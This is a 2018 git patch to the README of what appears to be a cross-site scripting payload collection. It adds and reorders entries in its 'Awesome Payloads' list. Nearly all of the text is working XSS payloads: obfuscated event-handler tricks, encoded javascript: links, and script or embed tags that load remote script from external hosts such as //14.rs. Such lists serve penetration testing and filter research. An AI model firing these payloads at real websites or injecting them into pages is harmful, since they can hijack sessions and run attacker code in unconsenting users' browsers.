From 8b1d0bf8a8a1ca0f4ae889ed5b5c391028f75c71 Mon Sep 17 00:00:00 2001
From: Somdev Sangwan <s0md3v@gmail.com>
Date: Sat, 28 Jul 2018 23:26:15 +0530
Subject: [PATCH] added a new payload

---
 README.md | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index bb69e67..a91fa4f 100644
--- a/README.md
+++ b/README.md
@@ -36,6 +36,8 @@ Put this repo on watch. I will be updating it regularly.
 ### Awesome Payloads
 ```
 <details open ontoggle=confirm()>
+<script y="><">/*<script* */prompt()</script
+<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
 <a href="javascript%26colon;alert(1)">click
 <script/"<a"/src=data:=".<a,[8].some(confirm)>
 <svg/x=">"/onload=confirm()//
@@ -43,14 +45,13 @@ Put this repo on watch. I will be updating it regularly.
 <svg%0Aonload=%09((pro\u006dpt))()//
 <sCript x>(((confirm)))``</scRipt x>
 <svg </onload ="1> (_=prompt,_(1)) "">
+<!--><script src=//14.rs>
 <embed src=//14.rs>
 <script x=">" src=//15.rs></script>
 <!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
 <iframe/src \/\/onload = prompt(1)
 <x oncut=alert()>x
 <svg onload=write()>
-<script y="><">/*<script* */prompt()</script
-<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
 ```
 Here's an interesting XSS polyglot by [Ahmed Elsobky](https://github.com/0xsobky/):
 ```